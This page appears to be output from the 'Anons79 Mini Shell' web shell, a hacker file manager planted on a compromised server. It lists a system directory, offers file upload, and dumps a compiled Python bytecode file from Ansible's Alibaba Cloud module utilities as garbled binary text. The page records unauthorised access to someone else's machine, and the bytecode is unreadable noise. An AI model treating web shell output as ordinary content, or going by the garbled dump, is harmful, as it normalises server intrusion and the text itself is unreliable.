Anons79 Mini Shell

Directory : /proc/self/root/lib/python2.7/site-packages/ansible/module_utils/
Upload File :
Current File : //proc/self/root/lib/python2.7/site-packages/ansible/module_utils/alicloud_ecs.pyo

�
�Udac@s�ddlmZyRddlZddlZddlZddlZddlZddlZeZ	Wne
k
r{eZ	nXdefd��YZ
d�Zd�Zd�Zd�Zd	�Zd
�Zd�Zd�Zd
�ZdS(i����(tenv_fallbackNtAnsibleACSErrorcBseZRS((t__name__t
__module__(((sE/usr/lib/python2.7/site-packages/ansible/module_utils/alicloud_ecs.pyR+scCs�tdtdtdddgdtdtdd	gf�d
tdtdddgdtdtd
dgf�dtddgdtdtdgf��S(Ntalicloud_access_keytrequiredtaliasest
access_key_idt
access_keytno_logtfallbacktALICLOUD_ACCESS_KEYtALICLOUD_ACCESS_KEY_IDtalicloud_secret_keytsecret_access_keyt
secret_keytALICLOUD_SECRET_KEYtALICLOUD_SECRET_ACCESS_KEYtalicloud_security_tokentsecurity_tokentALICLOUD_SECURITY_TOKEN(tdicttTrueR(((sE/usr/lib/python2.7/site-packages/ansible/module_utils/alicloud_ecs.pytacs_common_argument_spec/scCsJt�}|jtdtdtdddgdtddgf���|S(	Ntalicloud_regionRRtregiont	region_idR
tALICLOUD_REGIONtALICLOUD_REGION_ID(RtupdateRRR(tspec((sE/usr/lib/python2.7/site-packages/ansible/module_utils/alicloud_ecs.pytecs_argument_spec:s	c	Cs[td|jjd�d|jjd�d|jjd�dd�}|jjd	�|fS(
Ntacs_access_key_idRtacs_secret_access_keyR
RRt
user_agentsAnsible-Provider-AlicloudR(Rtparamstget(tmodulet
ecs_params((sE/usr/lib/python2.7/site-packages/ansible/module_utils/alicloud_ecs.pytget_acs_connection_infoEs
	cKs||j||�}|sx|g|j�D]}|j^q(kr\td||jf��qxtd||jf��n|S(Ns:Region %s does not seem to be available for acs module %s.s:Unknown problem connecting to region %s for acs module %s.(tconnect_to_regiontregionstidRR(t
acs_moduleRR#tconntacs_module_region((sE/usr/lib/python2.7/site-packages/ansible/module_utils/alicloud_ecs.pytconnect_to_acsOs(cCsdt|�\}}|r`yttj||�}Wq`tk
r\}|jdt|��q`Xn|S(s Return an ecs connectiontmsg(R'R.tfootmarktecsRt	fail_jsontstr(R%RR&R1te((sE/usr/lib/python2.7/site-packages/ansible/module_utils/alicloud_ecs.pytecs_connect[scCsdt|�\}}|r`yttj||�}Wq`tk
r\}|jdt|��q`Xn|S(s Return an slb connectionR/(R'R.R0tslbRR2R3(R%Rt
slb_paramsR6R4((sE/usr/lib/python2.7/site-packages/ansible/module_utils/alicloud_ecs.pytslb_connectiscCsdt|�\}}|r`yttj||�}Wq`tk
r\}|jdt|��q`Xn|S(s Return an vpc connectionR/(R'R.R0tvpcRR2R3(R%Rt
vpc_paramsR9R4((sE/usr/lib/python2.7/site-packages/ansible/module_utils/alicloud_ecs.pytvpc_connectwscCsdt|�\}}|r`yttj||�}Wq`tk
r\}|jdt|��q`Xn|S(s Return an rds connectionR/(R'R.R0trdsRR2R3(R%Rt
rds_paramsR<R4((sE/usr/lib/python2.7/site-packages/ansible/module_utils/alicloud_ecs.pytrds_connect�scCsdt|�\}}|r`yttj||�}Wq`tk
r\}|jdt|��q`Xn|S(s Return an ess connectionR/(R'R.R0tessRR2R3(R%Rt
ess_paramsR?R4((sE/usr/lib/python2.7/site-packages/ansible/module_utils/alicloud_ecs.pytess_connect�s(tansible.module_utils.basicRR0tfootmark.ecstfootmark.slbtfootmark.vpctfootmark.rdstfootmark.essRtHAS_FOOTMARKtImportErrortFalset	ExceptionRRRR'R.R5R8R;R>RA(((sE/usr/lib/python2.7/site-packages/ansible/module_utils/alicloud_ecs.pyt<module>s(


			
					

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]